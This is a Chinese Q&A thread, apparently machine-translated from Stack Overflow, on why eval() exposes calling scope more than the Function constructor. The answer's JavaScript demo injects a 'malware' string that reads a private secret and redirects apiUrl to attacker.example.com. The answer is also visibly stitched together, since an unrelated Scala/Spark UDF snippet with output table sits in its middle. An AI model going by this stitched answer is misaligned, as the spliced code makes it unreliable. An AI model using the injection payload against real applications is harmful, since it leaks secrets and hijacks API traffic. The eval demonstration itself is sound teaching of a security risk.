我正在阅读有关MDN的eval
,似乎表明eval
的“更好” 替代方案是使用function constructor。 MDN似乎强调指出,与eval
相比,使用函数构造函数的安全风险较小:
第三方代码可以查看eval()的调用范围, 可能以类似的方式导致可能的攻击 功能不敏感。
“第三方代码可以看到调用eval()的范围”究竟是什么意思?以及它如何影响我的JS应用程序的安全性?
答案 0 :(得分:1)
在此场景中,如何使用eval解析输入的示例暴露并损害了应用程序的所有私有范围。
import spark.implicits._
import org.apache.spark.sql.functions._
val df = sc.parallelize(Seq(
("r1", 1, 1),
("r2", 6, 4),
("r3", 4, 1),
("r4", 1, 2)
)).toDF("ID", "a", "b")
val uniqueVal = df.select("b").distinct().map(x => x.getAs[Int](0)).collect.toList
def myfun: Int => List[Int] = _ => uniqueVal
def myfun_udf = udf(myfun)
df.withColumn("X", myfun_udf( col("b") )).show
+---+---+---+---------+
| ID| a| b| X|
+---+---+---+---------+
| r1| 1| 1|[1, 4, 2]|
| r2| 6| 4|[1, 4, 2]|
| r3| 4| 1|[1, 4, 2]|
| r4| 1| 2|[1, 4, 2]|
+---+---+---+---------+
使用app = (function(){
// my app with all its shiny little secrets
// stored in private variables
var secret = 42;
var apiUrl = "/api/";
return {
withEval(input){
var someObject = eval(input);
console.log("withEval", someObject);
if(apiUrl === "/api/"){
console.log("xhr to", apiUrl);
}else{
console.warn("xhr to", apiUrl);
}
},
withFunction(input){
var someObject = Function("return(" + input+")")();
console.log("withFunction", someObject);
if(apiUrl === "/api/"){
console.log("xhr to", apiUrl);
}else{
console.warn("xhr to", apiUrl);
}
},
}
})();
var malware = `(${
()=>{
try { console.warn("found secret", secret); } catch(err){ console.error(err); }
try { console.warn("found apiUrl", apiUrl); } catch(err){ console.error(err); }
apiUrl = "http://attacker.example.com/";
}})(),{ foo: 13, bar: 42 }`;
console.log(malware);
app.withFunction(malware);
console.log("-----------------");
app.withEval(malware);
,您的“机密”会被暴露,例如id,令牌,...,甚至“ apiUrl”也已更改,因此您的所有api调用现在都可以在某些攻击者的网页上往返。
您的代码甚至不会引发错误;我已经在控制台中记录了这些错误。